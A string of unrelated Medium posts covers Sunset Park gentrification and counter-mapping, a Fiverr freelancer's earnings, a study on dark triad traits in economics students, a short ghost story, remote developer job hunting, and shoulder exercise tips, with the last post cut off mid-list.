As an entry point to the history of Sunset Park, we begin by acknowledging the rich history of the land. Before the violent colonization of this area by the Dutch, it was “mainly marshland drawn and shaped by myriad creeks that ran uphill from the bay and crested at what is now 6th Avenue” (Kaufman, “Neighborhood History”). The Canarsee peoples, a local Lenape tribe, was forced to sell their ancestral lands under threat of attack to the Dutch, and was to “never return to live in the district” again (Henry, “Rarely Told Story”). It is under this knowledge that I continue to pay tribute to those who were and are displaced by colonization, imperialism, and transnational capitalism.
The first major wave of immigration to this area was a result of the potato famine in Ireland in the mid-1800s, followed by mass immigration from Poland and Norway, and smaller numbers of Finnish and Italian immigrants around the turn of the 20th century (Kaufman). The Great Depression and the end of the World War II left an economic vacuum as jobs decreased, and the construction of the Gowanus Expressway along 3rd Ave. cut through the core of the neighborhood.
As white flight occurred due to these economic changes, Puerto Rican migrants began settling in Sunset Park in large numbers, mostly along the Western end of the neighborhood. In the 1990s, there was a dramatic increase in the Chinese population around 8th Avenue in the east, due to easy access to Manhattan’s Chinatown through the N train, where rents were steadily rising, and an influx of Mandarin-speaking Fujianese populations. Today, Sunset Park is truly a multiracial neighborhood, with a pan-Latine community (people from Puerto Rico, Dominican Republic, Mexico, and others), a Chinese community, and even a smaller Arab-American and Muslim community (Berger, “History of Sunset Park”).
The waterfront area, formerly called Bush Terminal, was the economic center of what is now Sunset Park. It was deindustrialized due to a shift to a service-based economy. Sites of industry were replaced by garment factories displaced from Manhattan due to low rent and “cheap domestic labor in the form of risk-taking entrepreneurs and exploited workers”, which re-industrialized Sunset Park in the 1980s, aligning with an influx of Asians into the area. Many Asians and Latines in the neighborhood were employed in the garment industry: over 10,000 workers in 348 shops in 2001 (Hum, “Mapping Global Production”).
Tarry Hum introduced a “carrot and stick” analogy in relation to the Sunset Park garment industry — where vulnerable small business manufacturers felt the effects of policing and investigations into “sweatshop” conditions but did not receive the carrot, which are actual benefits and resources that would have helped improve labor conditions. Only “legitimate” and established firms received formal assistance, while informal and cheap labor were continuing to be exploited (“Mapping Global Production”).
Sunset Park also experienced a lack of resources to support sustainable development. The waterfront area in recent years became an “overburdened site of environmental pollution and toxic facilities” and effects of global warming, where many areas near the waterfront are considered high-risk for flooding. It has also “been scarred by highway construction” of the Gowanus Expressway, where cars driving past will dump carcinogens into the air, and “served as a dumping ground for a meatpacking plant, waste transfer stations, power plants, a federal prison, and sex shops” (Hum, “Making a Global Immigrant Neighborhood” 14). The result of environmental disaster has become a public health issue as well: studies have shown that many nearby residents have suffered above-average rates of asthma and cancer(Bader, “UPROSE”).
The rise of Industry City as an “urban renewal” project is further evidence that the state and developers do not care to include the community in development initiatives. Rezoning parts of the waterfront to accommodate luxury hotels and real estate initiatives only serve to maximize “income-producing assets rather than protecting and promoting small manufacturing businesses and their workers” (Hum, “Get Ready Sunset Park”). If rents keep increasing, garment manufacturers are at risk of being displaced once more, linking their struggle to that of other low-income communities that are being similarly displaced. Industry City is largely owned by a company called Jamestown, who have perfected the practice of gentrifying neighborhoods, from Chelsea Market and the Milk Building in Manhattan (which used to be in a working-class neighborhood) to the Innovation and Design Building in Boston (located in the now heavily-gentrified Seaport district). This struggle is linked globally as well. Jamestown secured a $403 million loan from Bank of China shortly after acquiring stake in Industry City, tying Chinese investments to the displacement of Asian and Latine residents (“Get Ready Sunset Park”).
The effects of these changes are vast: rising rents, evictions, pollution, public health crises, closing of small business to where there are only around 100 garment firms employing slightly over 1000 people in 2017, roughly 10% of the total people employed less than two decades earlier (“Get Ready Sunset Park”). Looking towards the individual, how are people navigating and responding to these changes? How does it play into the everyday?
Mapping as Politics and the Personal
I am deeply fascinated by the ways that people relate to their surroundings: how does the way they navigate space shape political, cultural, and social identity? How do people map their everyday interactions and lives? These questions are about networks of relationships with people and space, and, in the context of historical change and displacement and globalization, how people rework these relationships. Many “long-time residents have a map in their minds of the places they live in that others lack” (Wang, “The Pleasures of Protest”), meaning places and buildings and routes hold emotional and historical meaning that are lost in larger histories about a place. If “space is the text the body reads by traversing” (Kim 60), what do these texts hold and what stories do they tell?
A definition of map, according to Wikipedia, is that they are a “symbolic depiction emphasizing relationships between elements of some space” . What often comes to mind when we think of maps is the idea of “objectivity”: when scientific and official state data is used, it’s accepted as a universal truth. This is because maps assert and reassert power hierarchies — they have been marketed as “official” documents precisely to cement a dominant party’s control over land and people through the drawing and redrawing of borders. Many geographers “go as far to say that cartography produces territory; it does not just describe it (Kim 62). In this way, maps are inherently political, social, cultural, and economic. They are not neutral representations but rather accompany and often justify settler colonial and imperialist violence.
The rise of Internet and digital tools allows for more do-it-yourself mapping opportunities. At the same time, the accessibility of online and mobile software such as Google Maps can further shape the ways that people encounter and think about places. A Slate article published in 2016 noted the Google Maps “areas of interest” feature, an example of remaking visual representation of place to become more consumer-based.
We view maps and the world around us, often in a bird’s eye view, far above an actual place, which “doesn’t consider the humanity of living on the landscape” (Loften and Vaughan-Lee, “Counter Mapping”). Indigenous communities have often led the movement to counter-mapping, as a way to reclaim and “convey a relationship to place grounded in ancestral knowledge and sustained presence on the land” (Loften and Vaughan-Lee). This is because they are the primary victims of maps as colonization tools: the division and redrawing of native lands all over the globe.
“Counter-mapping” exposes these structures of power, and is an alternative form of engaging with colonized land, that is focused on “experiential qualities of space”, rather than the “representation of environmental space” (Kim 73). There is no formal structure or creative process in creating a counter-map — it is highly dependent on personal and collective relationships with a space or landscape. As Jim Enote, a Zuni farmer and A:shiwi activist, notes, “Modern maps don’t have a memory” (Loften and Vaughan-Lee). Counter-maps are bursting with memory.
A similar concept, participatory mapping, is a collective process rooted in self-determination and agency, where community members can participate in a democratic mapping project. This allows mapping to become a collaborative “socially engaged political practice” (Kim 75). In the context of Sunset Park, my intention was to create as close to a participatory map as I could. As a result, something dynamic could come out of the process — where “place remains central to Asian American community building and identity formation” (Hum, “Making a Global Immigrant Neighborhood” 9), and community ties are central to social life, a collective map could be a site of visualizing resilience and history.
There are many critiques to participatory mapping as a practice as well. Many involved in these projects tend to be outsiders to a community, as I am, which may introduce various “problematic relative power positions” (Kim 78) and has the potential to become extractive rather than truly transformative for a community (Juarez and Brown, “Extracting or Empowering?”). Thus, I approached this project with a set of reflective questions to help guide the research process:
What is my positionality/ where do I stand in relation to these issues?
How can I design my research questions and methods in a way that is individual centered but not extractive?
Who will I chose to participate, and how can I be as accessible as possible in that process?
What is the afterlife of this project? How I can use my work to benefit or reach the community? And, what long-term relationships can I start engaging with?
It would be useful, then, to state my entry point into this work. This is a final project for an NYU Gallatin seminar called Asian American Politics. I understand the implications of conducting academic research that attempts to center participants’ stories, and the tendency for this work to become inaccessible to the very community it focuses on. I am also aware of the privilege of being able to attend and afford an extremely expensive university that participates in gentrification of New York City, and of my relative position as an outsider to Sunset Park, a community I have not previously engaged with.
My intentions are to design my research questions in a way that will focus on relationships and spatial navigation:
How do people interact spatially with Sunset Park? What are spaces (not living or working) that they frequent, either now or in the past?
How is gentrification rewriting these spatial connections? How are lives shifting due to these changes?
As for methods of creating a dialogue with residents, I designed questions to be open-ended and easy to translate into Chinese, as I want to be as inclusive as possible with my slightly limited Mandarin abilities. They also focus more on personal feeling, affect, and visceral relations rather than strict observation:
What are places near your community that you love? Why?
Have you noticed change near here? How does that make you feel?
In a general sense, what do you feel when you think of your community/Sunset Park?
In a previous proposal, I had a highly structured form of interaction that I now realize was too restricting and dependent on the nature of dialogue on the ground. So, I revised my methods to only include the following: noting and fighting biases on who to interview, covering as much of the neighborhood as possible (in terms of land area), and making my interactions closer to a dialogue than an interview or interrogation.
This map was created using Genially, as it was convenient to create embeddable interactive content. It resembles a bird’s eye view much like conventional maps: it is simply a rendering of the route I took in navigating this neighborhood, stripped bare of streets and buildings and “recommendations” like on Google Maps. Modern maps are often busy and crowded and heavily curated. This was about my experience alone, and places and people I met along the way.
Due to resource and time constraints, I was not able to conduct a full creative process in participatory mapping as I wish I could have done. I tried my best to center individual stories while also keeping it clear that this project was through my observations as an outsider.
Many people I’ve had conversations with have not noticed much change occurring in their area. It is worth noting that many of these residents lived closer to 8th Avenue, which is a bit removed from the waterfront and Industry City. I wonder, how would have answers changed as I walked closer to those industrial areas? And, as few of the people I spoke with actually interact with Industry City and surrounding areas, how has the gentrification of the waterfront, the construction of the Gowanus Expressway along 3rd Avenue, and the decrease in small manufacturing jobs affected the ways that people interact with the neighborhood as whole? How has the waterfront become viscerally divided from the rest of Sunset Park?
Something I noticed from many of the residents I spoke with is that some people tend to gravitate to and have special relationships to green spaces. This seemed to be true of many others — during my visits to Sunset Park and Leif Ericson Park, among other smaller community spaces, the community spaces were bustling with life. Not only were green spaces a popular area, but it was a site of community and social life. People go to these parks to dance with others, participate in and watch chess matches, have conversations with neighbors and friends, watch children run around together, and even organize grassroots cleanup initiatives. Green spaces are some of the few non-commodified public areas in cities, and as a site of social cohesion, are a necessary part of building and maintaining neighborhood communities.
In the context of Sunset Park’s pollution and environmental concerns, some residents have also expressed dismay at trash buildup and conditions nearby. And, these sentiments have manifested in the form of intergenerational grassroots organizing around environmental and climate justice. Groups like UPROSE (United Puerto Rican Organization of Sunset Park) and POWWA (Protect Our Working Waterfront Alliance) have been working in the areas of climate resilience, public health, and community-centered development for decades. Then, what does it mean for residents to gravitate towards urban parks and green areas as sites of community? And, how will climate change, not only in Sunset Park, but globally, continue to affect the ways people relate to their surroundings?
Continuing to link Sunset Park to global processes, immigration and migration has historically shaped the fabric of Sunset Park. The area’s declining manufacturing sector is intricately linked to the increasing globalization of the garment industry and the exploitative working conditions of workers under capitalism. The influx of overseas capital to Industry City will also continue to fund projects that will further displace residents.
“Socially Engaged Political Practice”
Thinking about the changing landscape of Sunset Park, how will this project serve to be political for the community? I aimed to use more accessible rather than academic language, and to allow this project to live on this platform, so that it’s publicly and conveniently accessible. Publishing articles on Medium also may help this article rise higher on searches on Google (which, in itself, is something fascinating to study — how has the Google algorithm affected the production and spread of knowledge?) I hope that, for people unfamiliar with Sunset Park, this project can be an entry point. And, for residents, I hope that this work does some justice to their narratives and helps re-articulate some of the political consequences of what is happening today.
That being said, the real political change is being conducted on the ground every day. The focus of my work was on spatial practice and change, which Annette Kim calls “both subversive and creative” (61) in the way that residents adapt and resist to change in everyday life. And, when “one actually takes time to observe on the ground, one might find some surprising and revelatory ideas for spatial practices of resistance” (Kim 61). Everyone will have different ways of relating to their environment, whether that’s through direct action or just everyday practice.
These are not neutral or random actions but a constant re-assertion of one’s position within a cultural, social, and political environment.
Contrary to dominant thinking that Asian (among other) immigrants are “apolitical”, radical and grassroots organizing are extremely prevalent in Sunset Park. Here are some groups that conduct valuable work within and for Sunset Park:
UPROSE — “organizing & building intergenerational, indigenous community leadership through advocacy & activism at the intersection of racial & climate justice”
POWWA — “committed to protecting the industrial character of the Sunset Park waterfront to: protect and expand career-track manufacturing jobs, protect working class residents from displacement, and develop for climate resilience”
Occupy Sunset Park — “We are the 99%! ¡Somos el 99%! 我们是99%” “Our local communities are in crisis and we have many legitimate needs. Come to our meetings at Trinity to raise some of these concerns and help us start a local movement to fight for social and economic justice.”
Neighbors Helping Neighbors — “committed to providing the highest quality of service in order to educate and counsel working New Yorkers so they can help themselves; organize people so they can act collectively and help one another; network with other community organizations; and serve as an advocate for and conduit for resources to the communities it serves”
I am appreciative that many people were willing to stop and speak with me. I value the opinions and insights they have given me: many thanks again to Steven, Zhao, Lin, Zhang, Mohammed, Emilssi, Luis, Anthony, and others who have lent their voice and opinions to this project. Thank you to Professor Diane Wong for her wonderful and supportive teaching over the course of this semester, and for encouraging me to continue to nurture my writing and thinking.
Some (greatly simplified and reductive) definitions for unfamiliar terms in this project:
Settler colonialism: the displacement of Indigenous people by non-native settlers who permanently occupy this stolen land, and continue to extract resources from and subjugate Indigenous peoples.
Imperialism: often political, economic, and/or cultural influence and control over another nation.
Gentrification: placing capital over low-income residents; the process of displacing populations to create “urban renewal” and luxury areas on cheap land.
Transnational capital: flow of capital and economy across state and national borders.
Globalization: flow of political, cultural, economic processes around the world.
Works Cited
Bader, Eleanor J. “UPROSE Uplifts Sunset Park.” The Brooklyn Rail, Apr. 2013.
Berger, Joseph. “THE HISTORY OF SUNSET PARK .” The Peopling of New York.
Hum, Tarry. “‘GET READY SUNSET PARK, ‘BROOKLYN’ IS COMING’: THE REAL ESTATE IMPERATIVES OF AN INNOVATION ECOSYSTEM.” Progressive City, July 2017.
Hum, Tarry. “How Eighth Avenue Became Chinese.” Open City, Asian American Writers’ Workshop, Sept. 2014.
Hum, Tarry. Making a Global Immigrant Neighborhood: Brooklyn’s Sunset Park. Temple University Press, 2014.
Hum, Tarry. “Mapping Global Production in New York City’s Garment Industry: The Role of Sunset Park, Brooklyn’s Immigrant Economy.” Economic Development Quarterly, Aug. 2003, pp. 294–309.
Hum, Tarry. “Supercharging the Gentrification of Sunset Park.” Gotham Gazette.
Juarez, Jeffrey A., and Kyle D. Brown. “Extracting or Empowering? A Critique of Participatory Methods for Marginalized Populations.” Landscape Journal, vol. 27, no. 2, 2008, pp. 190–204. JSTOR, www.jstor.org/stable/43332448.
Kaufman, Isabel. “Neighborhood History: Sunset Park, Brooklyn.” New Women New Yorkers, May 2017.
Kim, Annette Miae. Sidewalk City: Remapping Public Space in Ho Chi Minh City. University of Chicago Press, 2015.
Loften, Adam, and Emmanuel Vaughan-Lee. “Counter Mapping.” Emergence Magazine.
Henry. “The Rarely Told Story of the Real Bay Ridge Natives.” HeyRidge, Aug. 2015.
Wang, Esther. “The Pleasures of Protest: Taking on Gentrification in Chinatown.” Longreads, Aug. 2016. | https://medium.com/@tiniwini/mapping-sunset-park-%E6%98%A0%E5%B0%84%E6%97%A5%E8%90%BD%E5%85%AC%E5%9B%AD%E5%8C%BA-mapeo-de-sunset-park-115e24854575 | ['Tina Wang'] | 2019-05-15 20:27:22.020000+00:00 | ['NYC', 'Social Justice', 'Mapping', 'Community', 'Gentrification'] |
How Freelance Writer Georgia Austin Scaled Her Fiverr Business to 21k Per Month in Just 3-Months | How Freelance Writer Georgia Austin Scaled Her Fiverr Business to 21k Per Month in Just 3-Months Alexandra Fasulo Apr 9·4 min read
It’s hard to ignore the chatter in the exploding world of freelancing, as more people than ever before quit their 9-to-5s to join the ranks of independent contractors working in a freelancing role. It makes sense when you think about it: freelancing is lucrative, it offers personal freedom to travel and work from anywhere, and it comes with the potential to scale any freelancing profile into a full-fledged business.
The success stories are out there, and they are increasing in prevalence. But, all of these success stories tend to have a similar theme: it took the freelancer, typically, a few years to hit a point where they were earning six-figures per year from their business. Freelancing is seen as a long-term success plan, and for most people, it is.
But, Georgia Austin is not most people. As a Fiverr PRO freelance writer, Level 2 seller, and ghostwriter on Fiverr.com, Georgia is selling what many other copywriters offer today: website content, blogs, articles, product descriptions, SEO landing pages, and amazon product descriptions. She is also offering keyword incorporation with all of her services, making her writing desirable by everyone from entrepreneurs and small businesses to Fortune 500 companies.
From Out-of-Office to an Explosion in Orders
Starting her Fiverr for the first time in April 2020, Georgia wanted to see what all of the hubbub was about (especially in the midst of the COVID-19 initial outbreak). After exploring the site adequately, and averaging around $2,000 per month in revenue, she decided to go out-of-office for the remainder of 2020. It wasn’t until January 2021 that she decided to turn her profile back on and see what her services could do for her.
That’s when Georgia’s stats started to defy the freelancing odds. During her first month back to the freelancing site, she earned $1,902.40 during the month of January. When February arrived, Georgia quadrupled her earnings, this time to $8,631.20.
Thinking that this might be a fluke, Georgia was shocked at the end of March when her total earnings for the month, excluding active orders, topped $21,000.
As of today, March 8, 2021, Georgia has earned $8,200 so far this month, set to potentially crack $30,000 by the end of the month. These monetary figures not only place Georgia in a small, elite group of freelancers on the Fiverr platform, but they also arguably make her the fastest freelancer on the site to earn $21k in a singular month. Even more impressive, Georgia is only 23-years-old, with her 24th birthday on the horizon for June.
Based out of Rio de Janeiro presently, originally from London, Georgia possesses that never-ending itch that plagues entrepreneurs to stay busy and be productive. When asked what drives her to work this hard on Fiverr, Georgia responded, “I am obsessed with personal growth and success. I love being busy and feel anxious when I don’t have anything to do. I am just as shocked by my Fiverr growth as probably everyone else, and am very excited to see where this journey is going to take me.”
Georgia’s success story is testament to the impeccable branding and imagery that can be found on her Fiverr profile, as well as her willingness to go above and beyond for each and every client. Always wanting to be a writer, considering Georgia wrote her first book at only eight-years-old titled, “The Bee That Coulden’t Fly,” Georgia is certainly living her divine purpose far outside of the walls of an office building.
Demand is Outpacing Supply
When an obsession with personal growth and a commitment to working hard collide, in Georgia’s case, the results are industry-shaking. To those wishing to follow a similar path in the world of freelancing, Georgia’s success story should remind us all that freelancing is ‘not too saturated.’ The demand for freelancing services will continue to increase as more businesses than ever before go online. For Georgia, that means 2021 is going to be an unforgettable year.
To check out Georgia’s Fiverr profile, visit: https://www.fiverr.com/georgiaeaustin.
To follow Georgia’s freelancing journey, visit: https://www.instagram.com/georgiaemilyaustin/. | https://medium.com/@alexfasulo/how-freelance-writer-georgia-austin-scaled-her-fiverr-business-to-21k-per-month-in-just-3-months-4535c292fa91 | ['Alexandra Fasulo'] | 2021-04-09 14:40:14.187000+00:00 | ['Fiver', 'Writer', 'Copywriter', 'Freelancer', 'Six Figure'] |
Are Economists Psychopaths? | Are Economists Psychopaths?
A 2017-study claims existence of dark triad traits among people who choose economics and business as academic majors.
Being an economics major, writing about such a topic is to expose the dark side of our very own psychology.
B it of a disclaimer — I am not a psychopath, or at least I believe so. But when it comes to defending oneself, who wouldn’t?
It was in one of the econ lectures I attended during college when the professor made a case for economists exhibiting psychopathic tendencies or just being psychopaths. But due to a lack of causality, as correlation does not consistently lead to causation, it could have been possible that people with psychotic tendencies chose to be economists and not the other way around.
Due to my congenital curiosity — or maybe, psychoticism — I went a step ahead to find the source of this claim. What I found was a study in Psychonomics, which belongs to the field of experimental psychology.
The Dark Triad Across Academic Majors is a 2017-study by Vedel and Thomsen, published in the journal Personality and Individual Differences. With a statistical approach, it shows that the Dark Triad traits — Narcissism, Psychopathy, and Machiavellianism — in students of economics, business and law are associated with the desire for power and social status in the workplace. These aspirations, the study hypothesizes, draw Dark Triad individuals towards such occupations.
As these Dark Triad traits are expressions from psychology, scientific distinctions among them are anew to my acquaintance. To clear the air of ambiguity, below are some quick definitions.
Narcissism is excessive self-involvement causing a person to ignore the needs of others. About everyone sporadically engages in such behavior, but people with a narcissistic personality disorder or NPD have personalities that are characterized by intense self-involvement leading to a chronic disregard for others.
Machiavellianism refers to a personality trait wherein a person is so focused on their interests that they will manipulate, deceive, and exploit others to achieve their purposes.
Finally, psychopathy describes a set of personality traits associated with a lack of emotional sensitivity and empathy. Being impulsive, carrying a superficial charm, and insensitivity to punishing consequences are some of the behavioral attributes of psychopaths.
What is interesting is that these traits were accurate at the time of enrollment into these courses, eliminating any possibility of socialization being a cause of such personality changes. What we arrive at is the aspect of personality traits being a deciding factor for academic majors. Although socialization effects might not transform one’s personality within a few years, it would make for a good idea for further research.
Do psychopaths then choose to be bankers, businessmen, and economists? It is not unknown that models in microeconomics assume rationality as a characteristic of an economic agent in a market. They act in their self-interest to maximize profits and minimize costs.
Organizational research suggests that individuals in the corporate world exhibit manipulative and self-serving behavior; hence the term corporate psychopaths describe them best. These dark qualities help them succeed in leadership roles. Authoritativeness with Narcissism brings about a sense of entitlement and bold actions in executives.
The motivation for leadership and willingness to reach the pinnacle of power are the qualities associated with Machiavellianism. This evidence showcases individuals choosing economics and business, as opposed to political science and psychology, are desirous of power and status. Such education choices, leading to successful corporate career paths, show already existing psychopathic tendencies.
The study further shows how these academic majors score on another set of Big Five personality traits — Neuroticism, Extraversion, Openness, Agreeableness, Conscientiousness.
Students of economics and business scored higher on extraversion — implying outgoing and socially confident — but relatively lower on other traits — implying restrictive, non-agreeable, and insensitive nature — when compared to students opting for law, humanities, and psychology.
However, this dark-bright study is biased toward economics as a money-minded academic choice and prospective profession. Not all people studying economics are the same or take up similar professional roles.
With new fields emerging within economic research and advisory functions, it is moving towards being broad-based — like how Gross Domestic Product (GDP) was considered the primary indicator of growth, but now it hardly is alone. We ought to measure and compare Gross Domestic Product per capita, Gini coefficient for inequality, with a ton of indices on democracy, corruption, poverty, wages, market prices, inflation, and so on. Similarly, conventional economics is branching out to more receptive and incisive fields of feminist economics, development economics, behavioral economics, environmental economics, etc.
It is very well possible that economists or students opting for economics have become empathetic, sensitive, and, if not entirely, at least relatively agreeable over time. In conclusion, not all economists are psychopaths, but a part of them might be, as it were. In a way, I do not belong to the latter; I am the sane one.
This article was originally published on What-if Economics. View and subscribe to my newsletter to get insights right in your mailbox. | https://medium.com/what-if-economics/are-economists-psychopaths-63e0ce061dbb | ['Shereein Saraf'] | 2020-11-09 14:32:53.408000+00:00 | ['Economics', 'Research', 'Psychology', 'World', 'Political Economy'] |
Have you heard the sad tale of Little Miss Lachrymose | Have you heard the sad tale of Little Miss Lachrymose
Read with caution as it may make you feel sad.
Little Miss Lachrymose (created and illustrated by Sarah Healy)
‘’Why can’t they hear me?’’
Wailed Little Lachrymose, as she screamed into face or eardrum of each and every passer-by.
The greyness of the sky did little to ease her pain.
She felt dizzy but did not know why.
‘’Why won’t anyone help me?’’
she thought, feeling utterly helpless.
‘’Arrrrgggghhhhh!’’
she shrieked with a shrillness that sent fierce ripples off the harbor and through the Atlantic that was an eerie black in color. A blackness reflected in the color of her own eyes.
She sank down heavily on the rotten wood beneath her at the edge of the harbor. Feet dangling over the dark unwelcoming cold water.
The harbor was always neglected during winter time here in Halifax, Nova Scotia. Seldom few ventured here at this time of the year.
She felt an odd kinship towards the rotting wood beneath her, at least it too knew the result of negligence.
She started to sob.
Embarrassed at first as she was not a public crier, but soon realized she felt detached from herself and society.
She felt so alone in the world.
‘’Why will no one help me?’’
she thought, filled with pity.
She could feel the wetness of the harbor seep up into her bones. She started to shiver and feel very cold. This cold feeling felt familiar, it was something she had felt before.
She racked her brain but came up empty. The memory had retreated somewhere in the dark corner and could not be readily found.
Her sobs turned into uncontrollable wailing.
She could not make sense of anything.
She knew she had lost something. Something very important but could not remember what it was.
She could not understand why no one would help her. She knew that perhaps she did not look her best, with tear-stained cheeks, and remnants of black mascara tracing the directional flow of the tears, but surely this was more of a reason to help her rather than shun her.
Her sadness began to veer left towards anger.
How dare they ignore me, she thought. How dare they ignore someone obviously in pain.
Suddenly she noticed a man crouch down by the harbor. There was something familiar in the way he moved.
She thought maybe she knew this man.
She rushed towards him and reached him quite quickly, the speed she now moved at frightened her.
She was oddly drawn to this man who was crouching over something she could not see.
He looked like a broken man, so sad. A sadness she recognized in herself.
She was just about to touch his shoulder when she froze.
The sign was a memorial. For her. She had lost control of her vehicle and plunged into the sea. Her little girl had been in the black seat.
Everything became dark as she sank in unconsciousness. | https://medium.com/creative-humans/have-you-heard-the-sad-tale-of-little-miss-lachrymose-1e467cca859a | ['Sarah Healy'] | 2019-11-16 01:53:27.392000+00:00 | ['Storytelling', 'Creativity', 'Creative Writing', 'Short Story', 'Writing'] |
How to Find a Remote Job as a Developer in 2021 | How to Find a Remote Job as a Developer in 2021
Every year the Oxford English Dictionary chooses a Word of the Year — a word that has become prominent or notable over the course of twelve months. This year something went wrong. The OED described 2020 as ‘a year that has left us speechless’, meaning a year that cannot be summed up in one single word, and a bunch of words was chosen to reflect 2020’s ‘ethos, mood, or preoccupations’.
Marvelously, there has been a dramatic increase in the use of two words since March: remote and remotely. The majority of businesses would have moved away from the traditional office work model in favor of remote work over the next decade. The coronavirus pandemic made it happen in a matter of weeks.
Software developers and engineers anticipated the trend, as the industry is perfectly tailored for remote work. In 2019 a huge Stack Overflow’s Developer Survey showed that more than 50% of developers work at least part of the time remotely, and 12% are full-time remote workers.
While eager researchers collect the data on how COVID-19 has reshaped the developers’ world and changed the remote — non-remote ratio, we at 6nomads decided to enable engineers and developers to find the best full-time remote jobs in the world.
Pandemic or not, you have to be prepared. Here is 6nomads guide on how to find a remote job as a developer in 2021.
Lesson 1
Update your vocabulary
First thing you have to keep in mind is very simple yet powerful enough to lead to a series of misunderstandings or long-term even cause a chronic condition called ‘I hate my job’.
To avoid all that, the important lesson is to learn the definitions! You have to be very sure what kind of role and environment you are looking for. The trick is to speak the industry jargon to find the right jobs and also to impress your future employers.
Remote, distributed, remote-first, off-site? Do you know which one is for you? All of them sound similar, but they are not interchangeable.
Remote team: team members work in the same space, but their location is different from the company’s headquarters and other company teams.
Distributed team: a team has one or more remote team members working from multiple different locations.
Fully distributed team: a team doesn’t even have a shared physical space (office or HQ) where employees could work from. Every team member works wherever they want (at home, in a café, or a coworking space).
Hub & Spoke: a model for those who still want to go to the office sometime. The company has a main office and satellite offices, allowing employees to meet up within easy reach of home.
Co-located team: team members are located at the same location, so they can have and promote face-to-face collaboration.
The term ‘remote-first’ has become a keyword that small and big employers repeat like a mantra. Meanwhile, even the tech industry hasn’t agreed on a term. Remote first, remote-friendly, fully remote, and distributed are used by startups and established companies with a physical address that employees are not tied to and are open to remote work.
Feel free to ask a recruiter:
✔ Is your team fully-distributed?
✔ Does the company have other remote teams?
✔ What percentage of your staff work remotely?
Those questions can potentially help you weigh up your chances of being hired, draw out your career prospects within a company, and give you an idea of how prepared the company is for managing remote workers.
Lesson 2
Feel the remote culture
Some companies became remote and liked it so much that they burned the bridge to its offices and HQ. Others have been built around the idea of remote work, and for them working remotely is the default. The stronger the company’s remote culture, the better you feel as a remote worker.
Answering the demand, lots of remote companies are popping up. You have to make sure that your future employer is very familiar with distributed team management, the challenges therein, and has clear expectations. GitLab, the self-proclaimed largest all-remote company on the planet, Automattic, the company behind WordPress, InVision, and Zapier, among a few others, set the stage for successful remote culture. The veterans of remote hiring promote strong communication, accountability and alignment, as well as provide you as an employee with everything needed for the success of both parties.
The questions you should consider finding answers to are:
✔ Since when has the company been hiring remote workers?
✔ What are the company’s general protocols/guidelines for remote work?
✔ Is there a dedicated point person in the company who takes care of remote needs?
Lesson 3
Consider company’s recruitment strategies
Do you want to start working tomorrow? Are you ready for 50 rounds of interviews? Are you chasing after big-name employers for your CV, or do you just need new challenging experience? How long-term are your career goals, and what are you looking for right now? Answering questions of this kind can help you look at your potential employers with new eyes and adapt to their recruitment strategies.
Keep in mind how big and established the company you are applying to is. There is a difference between established companies and startups in terms of recruitment strategy. The first ones usually turn the recruitment process into nine circles of hell, as they are resourceful enough to use temporary solutions until a new candidate is hired. Startups tend to focus on hiring people that do not require lots of training, so that they might be looking for tech talent with at least two years of experience.
With a remote job, the growth path with a company is not always clearly visible.
A good question to ask your potential employer:
✔ What am I going to be with you in two years?
Lesson 4
Learn geography
‘Israel has the same time zone as Moscow, I need not work at night’ — that’s the story of Peter, working for an Israeli fintech startup. For every remote worker, time zones can become an extremely important issue. They may shape where you choose to live or what company to work in.
To avoid working night shifts, make sure you know the answers to the following questions:
✔ How distributed is the team?
✔ Do you have to collaborate with other remote teams?
✔ Is working in core business hours a requirement?
✔ Does my time zone overlap with the rest of the team members?
Lesson 5
Evaluate potential package
Remote work has always been a way to freedom, and working remotely doesn’t mean you have to get less than an on-site IT specialist would. Know your needs, and research the market.
✔ Is your salary high enough? Learn the company’s strategy on setting salaries for remote roles. It might be based either on their location, or on your location, or calculated according to market trends. Websites like ZipRecruiter, Glassdoor and Totaljobs can give you a general idea of an average remote salary of a software engineer in the US or the UK for example.
✔ Will you get support for financial, legal and tax issues? This kind of support can be provided by someone from the company or a contractor who will help you deal with all the problems that always come up in the very beginning. You have to know how to be registered in your country to sign a contract as a remote worker, what tax implications are and how to avoid double taxation, where and how you can work.
If you like to get into more legal details, here is a guide on how an American startup can legally hire you as foreign IT talent.
✔ Does the company offer a work benefit plan? If not, do you have your own retirement plan and insurance, and are you going to make enough money for savings? Here you should get back to your salary expectations and make them even more realistic.
Some companies offer remote-specific benefits, i.e., provide coworking membership or cover other costs like the Internet and some other things you might need (a desk, a microphone and even a computer).
Make sure you pay attention to the differences between countries. At the end of the day, even fully-remote companies are registered somewhere and play by that territory rules and laws.
Stay tuned for Part 2 or check the remote jobs shortlist right now to find the offer suiting you the best! | https://medium.com/@6nomads/how-to-find-a-remote-job-as-a-developer-in-2021-fc5ed16bd85b | [] | 2020-12-16 12:27:43.168000+00:00 | ['Remote Working', 'Job Hunting', 'Job Search', 'Remote Work', 'Developer'] |
7 Ways To Learn Shoulder Pain Effectively | Our shoulders are the most portable joint in the body, permitting us to complete a perpetual rundown of movements. Indeed, there are not many developments we make over the span of the day that doesn’t include the shoulder joint. That additionally implies they’re profoundly defenseless against injury and by and large set aside a long effort to mend. Fortunately, there are approaches to keep your shoulders solid and sound — for the long stretch. Attempt these master affirmed tips to remain sans injury.
1. Reinforce External Rotators
One of the most well-known wounds that happen inside the shoulder is a subacromial impingement, which causes torment during inner turn — the very movement that allows you to toss a ball. By reinforcing the outer rotators, Morey Kolber, PT, Ph.D., partner educator in the non-intrusive treatment office at Nova Southeastern University in Florida, says it diminishes the odds of shoulder impingement and agony. Have a go at adding some band-or link opposed outer revolutions to your get ready to begin stirring your shoulders.
2. Maintain a strategic distance from Lateral Raises Above 90 Degrees
A typical reason for subacromial impingement is doing sidelong raises excessively high. A few mentors train raising the arms to ear-level, subsequently over 90 degrees, and numerous lifters tune in for a straightforward explanation — they work. In any case, as Kolber clarifies, “When we kidnap our arms or raise them out aside, our shoulders need to remotely pivot to forestall impingement.” Problem is, the most probable purpose of impingement is at 90 degrees, he says.
3. Fix Your Upright Row
As indicated by Kolber, another move related to impingement condition is the upstanding line. This is a protected and successful shoulder building exercise, as long as by and by it is performed with acceptable structure and at a protected reach. While doing an upstanding column, ensure your elbows never go above shoulder stature. Or then again, decide on an alternate exercise through and through. “Have a go at trading it for a high draw rather get some different muscles engaged with the development,” says Kolber.
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4. High Five! Or on the other hand Not…
